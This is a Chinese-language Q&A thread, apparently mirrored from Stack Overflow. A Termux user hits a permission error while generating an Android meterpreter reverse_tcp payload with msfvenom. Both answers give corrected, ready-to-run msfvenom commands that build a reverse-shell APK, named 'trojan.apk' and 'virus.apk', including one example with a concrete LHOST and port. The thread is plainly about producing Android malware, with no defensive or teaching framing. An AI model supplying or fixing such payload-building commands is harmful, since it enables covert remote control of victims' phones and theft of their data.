0

当我在我的 termux 应用程序中使用此命令制作有效负载时

. /msfvenom -p android/meterpreter/reverse_tcp lhost=IP ADDRESS lport=3333 -o /sdcard/FILE NAME/test.apk

然后它向我展示

No platform was selected, choosing Msf::Module::Platform::Android from the payload
No Arch selected, selecting Arch: dalvik from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 9435 bytes
Error: Permission denied @ rb_sysopen - /sdcard/apk_payload/hack.apk

请问如何解决,请帮帮我

4

2 回答 2

0

首先,对不起我的英语不好。

看起来你的问题是路径,sdcard路径是~/storage 在里面,你只能访问一些文件夹,在我的情况下是dcim、下载、电影、音乐、图片和共享

我决定把它放在downloads中,所以路径应该是这样的: ~/storage/downloads/trojan.apk

最终代码应该是这样的: ./msfvenom -p android/meterpreter/reverse_tcp LHOST= Your Ip LPORT= Your Port -o ~/storage/downloads/trojan.apk

于 2017-12-13T02:52:22.210 回答
0

首先,如果 msfvenom 在您的 usr/local/bin 文件夹中,则不需要 ./msfvenom,只需以 msfvenom 开头。

其次,在使用 -x 选项时使用 -o 选项,否则不应使用它。

您的命令应如下所示

msfvenom -p android/meterpreter/reverse_tcp LHOST=your ip LPORT=your port R > /root/what-ever-path-you-want/app-name.apk

例子:

msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.19 LPORT=4444 R > /root/Documents/virus.apk
于 2018-03-11T08:41:48.800 回答